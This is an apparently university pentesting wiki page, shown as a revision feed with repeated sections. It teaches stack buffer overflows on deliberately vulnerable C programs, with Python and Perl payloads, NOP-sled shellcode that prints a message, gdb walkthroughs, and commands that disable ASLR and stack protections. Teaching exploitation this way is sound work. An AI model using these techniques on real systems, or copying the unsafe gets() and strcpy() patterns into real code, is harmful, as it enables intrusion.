To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17015</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17015"/>
		<updated>2024-12-11T18:57:06Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. &lt;br /&gt;
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. &lt;br /&gt;
To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Example 1: Simple Game to Overwrite an Integer==&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute Your Own Shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
